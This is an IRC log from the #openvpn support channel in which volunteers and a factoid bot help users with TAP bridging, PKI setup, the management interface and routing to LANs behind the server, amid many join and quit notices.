01:19 <@vpnHelper> Title: QueuingKoala/wrt-iptables · GitHub (at github.com)
01:20 <@krzee> s/rc.conf/rc.local/
01:20 <+pekster> I should add a "test" command to my firewall initscript to mimic what iptables-apply does
01:20 < jotterbot1234> I'm looking for a simple solution….. I have 2 x asus nt-66u routers and was trying to get this working as a proof of concept
01:21 <+pekster> So call `openvpn --config my.conf` as the concept, and write pretty scripts around it later?
01:21 <@krzee> ^^
01:23 <@krzee> i like your sh code pekster
01:23 <@krzee> proper quoting is often missed
01:23 -!- nutron [~nutron@unaffiliated/nutron] has quit [Read error: Connection timed out]
01:24 <+pekster> Regardless of langauge, I try to write clean & readable code
01:24 <@krzee> shell is the only place im qualified to comment on your code ;]
01:24 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
01:27 <+pekster> But yes, extra fun to debug someone elses code when I do ./theirCode "/my Path/here" and it explodes :\
01:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
01:28 <@krzee> if i look through code i wrote long enough ago im forced to rewrite it, even if it works
01:28 <@krzee> haha
01:29 <@krzee> im about to dig into a 3yr old program, lets hope its clean
01:33 <@krzee> its clean but dense and without comments
01:46 -!- spiekey [~mario@projekte.imos.net] has joined #openvpn
01:46 < spiekey> Hello!
01:47 < spiekey> can i run openvpn (Server) on tcp AND udp at the same time?
01:47 <@krzee> only with 2 processes (seperate configs/subnets)
01:47 < spiekey> hm. ok
01:47 < spiekey> thx
01:47 <@krzee> np
02:04 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:05 -!- jotterbot1234 [~jotterbot@103.4.236.30] has quit [Ping timeout: 264 seconds]
02:16 -!- jotterbot1234 [~jotterbot@103.4.236.30] has joined #openvpn
02:37 -!- JackWinter [~jack@vodsl-9655.vo.lu] has quit [Ping timeout: 264 seconds]
02:38 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 248 seconds]
02:39 -!- JackWinter [~jack@vodsl-9655.vo.lu] has joined #openvpn
02:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
02:44 -!- jotterbot1234 [~jotterbot@103.4.236.30] has quit [Quit: jotterbot1234]
02:51 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
03:02 -!- obiwahn-work [~quassel@195.14.232.22] has joined #openvpn
03:10 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
03:16 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has joined #openvpn
03:16 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has quit [Changing host]
03:16 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:46 -!- REdOG [~REdOG@12.208.129.98] has quit [Ping timeout: 260 seconds]
03:48 -!- REdOG [~REdOG@12.208.129.98] has joined #openvpn
03:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:50 < obiwahn-work> hi i am tying to create a vpn with tap bridgin
03:50 < obiwahn-work> it seems to kind a work but on the clinet there is no tap added and there are no new routes
03:51 < obiwahn-work> im am not sure waht i am missing
03:51 < obiwahn-work> should openvpn auto create a tap device for the client?
03:52 < obiwahn-work> the last lines tell me tun/tap device tap0 opened
03:52 < obiwahn-work> tx qeue set to 100
03:52 < obiwahn-work> initialisation sequence complete
03:52 -!- REdOG [~REdOG@12.208.129.98] has quit [Ping timeout: 240 seconds]
03:53 < obiwahn-work> then it spamms some WWRWWWWRWW :)
03:54 -!- REdOG [~REdOG@12.208.129.98] has joined #openvpn
04:00 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
04:01 <@ecrist> !tunortap
04:01 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
04:01 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
04:03 < obiwahn-work> ecrist: any advice hwo to get it working?
04:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:04 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:05 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Remote host closed the connection]
04:08 <@ecrist> obiwahn-work: I don't have enough info to really help you
04:08 <@ecrist> !goal
04:08 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
04:08 <@ecrist> !config
04:08 <@vpnHelper> (config <name> [<value>]) -- If <value> is given, sets the value of <name> to <value>. Otherwise, returns the current value of <name>. You may omit the leading "supybot." in the name if you so choose.
04:08 <@ecrist> !configs
04:08 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
04:08 <@ecrist> !logs
04:08 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
04:08 < obiwahn-work> sorry for not starting at the beginning..
04:09 < obiwahn-work> i want to other trusted people to my lan
04:09 < obiwahn-work> and i want that the adresses are managed via dhcp
04:11 < obiwahn-work>  /msg vpnHelper wins - does not work:(
04:11 < obiwahn-work> !wins
04:11 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
04:21 -!- kirin` [telex@gateway/shell/anapnea.net/x-mspknxdnybyoxhgm] has quit [Ping timeout: 256 seconds]
04:27 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
04:28 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
04:33 < obiwahn-work> ecrist: http://paste.debian.net/24591
04:34 < obiwahn-work> i wonder waht must be done to be able to connect
04:34 < obiwahn-work> i have tried ifconfig tap0 up
04:34 < obiwahn-work> and then dhclient tap0
04:34 < obiwahn-work> nothing is happening
04:34 <@ecrist> obiwahn-work: I need you server and client configs, too
04:36 -!- kirin` [telex@gateway/shell/anapnea.net/x-pyiswwlaxubraneo] has joined #openvpn
04:38 < obiwahn-work> http://paste.debian.net/24593 client
04:39 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:40 <@ecrist> sans comments would be nice
04:40 <@ecrist> see !configs, above
04:40 <@ecrist> also, that's only the client config
04:41 < obiwahn-work> http://paste.debian.net/24594/
04:43 <@ecrist> obiwahn-work: do you have the server's tap device bridged with the server's LAN interface?
04:43 < obiwahn-work> yes
04:44 <@ecrist> check out this thread: https://forums.openvpn.net/topic11361.html
04:44 <@vpnHelper> Title: OpenVPN Support Forum TAP with LAN DHCP : Server Administration (at forums.openvpn.net)
04:45 < obiwahn-work> bridge name     bridge id               STP enabled     interfaces
04:45 < obiwahn-work> br0             8000.0025907fbbde       no              eth0, tap0
04:47 < obiwahn-work> ah ill test with eth0 and check with tcpdump if some traffic arrives
04:47 <@ecrist> is tap0 "up"?
04:52 < obiwahn-work> is it possible that it is in the bridge but not up?
04:52 < obiwahn-work> must i set it to up before addign to the bridge?
04:55 -!- _br_- [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Remote host closed the connection]
04:55 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
04:57 < obiwahn-work> ah it ssems to work
04:57 <@ecrist> create an --up script that, when the openvpn server starts up, sets up on the tap interface
04:58 < obiwahn-work> after i have added ifconfig tap0 up to the server
04:58 < obiwahn-work> yes i have added it to my script
04:59 < obiwahn-work> is there a way to up the tap0 and call dhclient on the remote automatically?
05:03 < obiwahn-work> !upscript
05:03 < obiwahn-work> !up
05:11 -!- eregus [~eregus@bwj53.neoplus.adsl.tpnet.pl] has joined #openvpn
05:12 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 240 seconds]
05:12 < eregus> I'm setting up openvpn for the first time. When I'm making PKI, should I put my real name, city etc. here? Or what should I put?
05:13 < obiwahn-work> for playing it does not matter
05:13 < obiwahn-work> but probably you want to keep the ca for a bit longer
05:14 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
05:14 < obiwahn-work> then you could try something like tinyca.
05:14 < obiwahn-work> in case you want to keep and use it then you should consider using a real name
05:14 < eregus> Okay, but when I lost my ca, I can make a new one, right?
05:14 < obiwahn-work> if you are likely to thow it away anyways ... then it does not really matter
05:15 < obiwahn-work> yes
05:15 < eregus> Ok, thx
05:23 -!- Denial [Denial@90.202.5.141] has joined #openvpn
05:36 -!- M-Techni1 [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
05:40 -!- Cultist_ [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
05:40 -!- Netsplit *.net <-> *.split quits: ele, Cultist, M-Technic, rooth, zampa, master_of_master
05:40 -!- Cultist_ is now known as Cultist
05:46 -!- master_of_master [~master_of@p4FD7BBBC.dip0.t-ipconnect.de] has joined #openvpn
05:46 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
05:46 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
05:46 -!- zampa [zampa@luda/zampa] has joined #openvpn
05:47 -!- zampa [zampa@luda/zampa] has quit [Remote host closed the connection]
05:47 -!- zampa_ [zampa@213.112.37.235] has joined #openvpn
05:59 -!- xdarklight [~darklight@unaffiliated/xdarklight] has left #openvpn ["Konversation terminated!"]
06:00 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
06:04 -!- aegis [~aegis@184.75.221.42] has quit [Ping timeout: 264 seconds]
06:04 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
06:15 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
06:15 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:25 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
06:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Operation timed out]
06:27 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:29 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:40 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has joined #openvpn
06:40 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has quit [Max SendQ exceeded]
06:41 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has joined #openvpn
06:41 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has quit [Max SendQ exceeded]
06:43 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has quit [Ping timeout: 264 seconds]
06:48 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
06:49 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has joined #openvpn
06:49 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has quit [Max SendQ exceeded]
06:53 -!- mattock_afk is now known as mattock
06:55 -!- jotterbot1234 [jotterbot1@14-201-122-55.static.tpgi.com.au] has joined #openvpn
06:55 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has joined #openvpn
06:55 -!- jotterbot1234 [jotterbot1@14-201-122-55.static.tpgi.com.au] has left #openvpn []
06:55 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has quit [Max SendQ exceeded]
06:55 -!- jotterbot1234 [jotterbot1@14-201-122-55.static.tpgi.com.au] has joined #openvpn
07:04 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
07:10 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
07:11 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has joined #openvpn
07:11 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has quit [Max SendQ exceeded]
07:13 -!- jotterbot1234 [jotterbot1@14-201-122-55.static.tpgi.com.au] has quit []
07:14 -!- cyberspace- [20253@109.74.194.224] has quit [Remote host closed the connection]
07:15 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
07:16 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 246 seconds]
07:16 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
07:16 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
07:16 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:19 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
07:30 -!- eregus [~eregus@bwj53.neoplus.adsl.tpnet.pl] has quit [Ping timeout: 264 seconds]
07:35 -!- fields2grand [~Phil@wsip-72-200-248-82.om.om.cox.net] has joined #openvpn
07:39 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
07:50 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 245 seconds]
07:52 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has joined #openvpn
07:53 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 245 seconds]
07:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:00 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
08:01 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
08:09 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Quit: Leaving]
08:10 < obiwahn-work> !wintap
08:10 < obiwahn-work> !windowstap
08:11 -!- eregus [~eregus@bwj53.neoplus.adsl.tpnet.pl] has joined #openvpn
08:12 -!- JAVACODER [~JAVACODER@2.190.45.138] has joined #openvpn
08:13 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has quit [Quit: Computer has gone to sleep.]
08:19 -!- spiekey [~mario@projekte.imos.net] has quit [Read error: Connection reset by peer]
08:26 < fields2grand> morning folks!  Got directed here by Samuli.  I'm looking for someone for some consulting/configuration of an open vpn network.  This would be designing a multi-site vpn service capable of failover and answering my stupid questions.  I'm hoping I can find help here!
08:31 -!- senyai [~senyai@ppp91-76-30-172.pppoe.mtu-net.ru] has joined #openvpn
08:32 -!- eregus [~eregus@bwj53.neoplus.adsl.tpnet.pl] has quit [Read error: Connection reset by peer]
08:35 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
08:35 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 260 seconds]
08:38 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
08:45 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Ping timeout: 276 seconds]
08:50 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
09:01 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
09:23 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:26 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 260 seconds]
09:29 -!- aegis [~aegis@184.75.214.18] has joined #openvpn
09:35 <@ecrist> fields2grand: stick around, there are folks who do such things
09:35 <@ecrist> krzee is a good one
09:36 -!- JAVACODER [~JAVACODER@2.190.45.138] has quit [Ping timeout: 240 seconds]
09:45 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
10:22 < fields2grand> thanks ecrist!
10:26 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
10:28 -!- obiwahn-work [~quassel@195.14.232.22] has quit [Remote host closed the connection]
10:42 -!- raidz_away is now known as raidz
10:43 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
10:44 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:46 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 264 seconds]
10:50 -!- Devastatr [~devas@186.214.14.45] has joined #openvpn
10:50 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
10:50 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
11:07 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
11:12 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
11:13 -!- aegis [~aegis@184.75.214.18] has quit [Ping timeout: 264 seconds]
11:15 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
11:15 -!- aegis [~aegis@184.75.214.18] has joined #openvpn
11:23 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Connection reset by peer]
11:23 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
11:28 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
11:33 < fields2grand> @krzee, do you have some time?
11:59 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
12:18 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:26 -!- sashman [~sashman@gateway/tor-sasl/sashman] has joined #openvpn
12:30 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Read error: Connection reset by peer]
12:31 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:37 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
12:38 < sashman> ive got no idea how to setup openvpn to connect to a vpn
12:39 < sashman> :(
12:39 < sashman> ive an ovpn file and a crt file and now?
12:46 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Read error: Connection reset by peer]
12:52 < rob0> Do you run the server? If not, ask the folks who do run it.
12:52 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
12:55 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
13:00 -!- kubbing [~kubbing@gprs13.vodafone.cz] has joined #openvpn
13:06 < senyai> Hi! I want vpn clients to be able to connect to my virtual box (vboxnet0) network that is on the same machine as vpn server. I tried a lot of configurations. How do you debug these things?
13:07 -!- kubbing [~kubbing@gprs13.vodafone.cz] has quit [Remote host closed the connection]
13:10 -!- Devastatr [~devas@186.214.14.45] has quit [Changing host]
13:10 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
13:10 -!- Devastatr is now known as Devastator
13:19 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
13:19 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
13:19 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
13:31 -!- JackWinter [~jack@vodsl-9655.vo.lu] has quit [Ping timeout: 248 seconds]
13:32 -!- JackWinter [~jack@vodsl-9655.vo.lu] has joined #openvpn
13:44 -!- Varazir_ [~mircwars@c-94-255-133-96.cust.bredband2.com] has joined #openvpn
13:45 -!- Varazir [~mircwars@c-94-255-133-96.cust.bredband2.com] has quit [Read error: Connection reset by peer]
14:00 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
14:00 -!- deadbum [~moroni@c-69-143-186-19.hsd1.va.comcast.net] has joined #openvpn
14:01 < deadbum> is there a way to see what users are signed in? or what certificates are associated with active sessions from the server?
14:03 < rob0> If you enabled the management interface, yes.
14:03 < rob0> !management
14:03 <@vpnHelper> "management" is (#1) see http://openvpn.net/management for doc on management interface or (#2) read http://svn.openvpn.net/projects/openvpn/obsolete/BETA21-preauto/openvpn/management/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN
14:03 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
14:03 < deadbum> is that available in the open source version?
14:04 < rob0> of course, the open source version is the only thing we will support here
14:04 -!- senyai_ [~senyai@ppp91-76-26-135.pppoe.mtu-net.ru] has joined #openvpn
14:04 < deadbum> ok - just making sure
14:04 < deadbum> thanks rob0
14:05 < deadbum> I apparently don't have it enabled but will do so now
14:05 < senyai_> Let's say I have default setup with commented out `push "route 192.168.20.0 255.255.255.0"`. When client ping 192.168.20.2 I see icmp pockets on tun0 interface only, they don't go further.
14:05 < rob0> !route
14:05 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
14:05 <@vpnHelper> the server or client
14:06 < rob0> Most likely guess: the other side (hosts in 192.168.20.0/24) don't know how to route back to the VPN.
14:08 -!- senyai [~senyai@ppp91-76-30-172.pppoe.mtu-net.ru] has quit [Ping timeout: 268 seconds]
14:10 < senyai_> May  be. Could you help add the route? It's Ubuntu
14:19 -!- exed [~maximus@host-188-174-202-41.customer.m-online.net] has joined #openvpn
14:20 -!- exed [~maximus@host-188-174-202-41.customer.m-online.net] has left #openvpn []
14:30 < senyai_> ok ok. I added route `ip route add 10.8.0.0/24 dev eth0` to client and it did not work. As I said, icmp pockets stop at tun0, not even reaching 192.168.20.0/24
14:33 -!- mattock is now known as mattock_afk
14:34 < rob0> ee !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or client.
14:34 < rob0> *See
14:38 < senyai_> Thanks, see if it helps me
14:40 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
14:40 -!- Varazir_ is now known as Varazir
14:43 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
14:46 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
14:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:50 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
14:56 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
14:57 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
15:07 -!- senyai_ [~senyai@ppp91-76-26-135.pppoe.mtu-net.ru] has quit [Remote host closed the connection]
15:20 -!- eph3meral [~johncarte@97-118-163-231.hlrn.qwest.net] has joined #openvpn
15:27 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
15:29 -!- senyai [~senyai@ppp91-76-26-135.pppoe.mtu-net.ru] has joined #openvpn
15:30 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
15:32 -!- ichtys [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <-]
15:36 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
15:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
15:40 < senyai> And last question. As I see VirtualBox adds its own entry in route table - `192.168.20.0 | 0.0.0.0 | 255.255.255.0 | U | 0 | 0 | 0 | vboxnet0` and openvpn adds `192.168.20.0 | 0.0.0.0 | 255.255.255.0 | U | 0 | 0 | 0 | vboxnet0`. Is it the case I can't connect to 192.168.20.0/24 from vpn client?
15:40 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:43 -!- M-Techni1 is now known as M-Technic
15:47 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
15:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
15:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:59 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:59 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
15:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
16:09 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
16:09 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 246 seconds]
16:12 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 246 seconds]
16:13 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
16:14 -!- senyai [~senyai@ppp91-76-26-135.pppoe.mtu-net.ru] has quit [Quit: Leaving]
16:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:26 -!- eph3meral [~johncarte@97-118-163-231.hlrn.qwest.net] has quit [Quit: Leaving]
16:32 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Operation timed out]
16:42 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
17:02 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
17:05 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
17:06 -!- exed [~maximus@host-188-174-202-41.customer.m-online.net] has joined #openvpn
17:18 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
17:19 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
17:20 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
17:25 -!- [fred] [fred@konfuzi.us] has joined #openvpn
17:31 < takamichi> One of our users cannot use any TCP based apps when connected to our VPN server using UDP - They can however ping/dns lookup etc. The TCP connection/handshake is established but no traffic flows. If the customer connects to the VPN server using TCP then everything works as usual. Anyone ever heard of such an issue?
17:32 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
17:34 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 246 seconds]
17:34 -!- [fred] [fred@konfuzi.us] has joined #openvpn
17:36 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
17:37 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
17:40 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:42 -!- Denial [Denial@90.202.5.141] has quit []
17:46 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Excess Flood]
17:46 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
17:48 -!- Scub [~ae@96.126.107.149] has quit [Quit: Lost terminal]
17:48 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
17:49 -!- Eugennerz is now known as EugeneKay
17:54 -!- klein [~klein@177.101.106.67] has joined #openvpn
17:54 -!- klein [~klein@177.101.106.67] has quit [Changing host]
17:54 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:55 -!- kirin` [telex@gateway/shell/anapnea.net/x-pyiswwlaxubraneo] has quit [Ping timeout: 256 seconds]
17:57 -!- kirin` [telex@gateway/shell/anapnea.net/x-kjinozjonpcxzlxs] has joined #openvpn
18:20 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:22 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
18:29 -!- kirin` [telex@gateway/shell/anapnea.net/x-kjinozjonpcxzlxs] has quit [Ping timeout: 264 seconds]
18:30 -!- kirin` [telex@gateway/shell/anapnea.net/x-xtzgorvgvdadytcu] has joined #openvpn
18:40 -!- jotterbot1234 [~jotterbot@103.4.236.30] has joined #openvpn
18:44 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 256 seconds]
18:45 -!- cj_ is now known as cjac
18:52 -!- FFForever [~FFForever@unaffiliated/ffforever] has joined #openvpn
18:55 -!- exed [~maximus@host-188-174-202-41.customer.m-online.net] has quit [Quit: exed]
18:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
19:17 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
19:39 -!- master_o1_master [~master_of@p4FD7BD8E.dip0.t-ipconnect.de] has joined #openvpn
19:43 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
19:43 -!- master_of_master [~master_of@p4FD7BBBC.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
19:44 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
19:46 -!- pi__ [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has quit [Quit: leaving]
19:54 -!- Zarrsh [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has joined #openvpn
19:57 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has quit [Ping timeout: 264 seconds]
20:03 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 264 seconds]
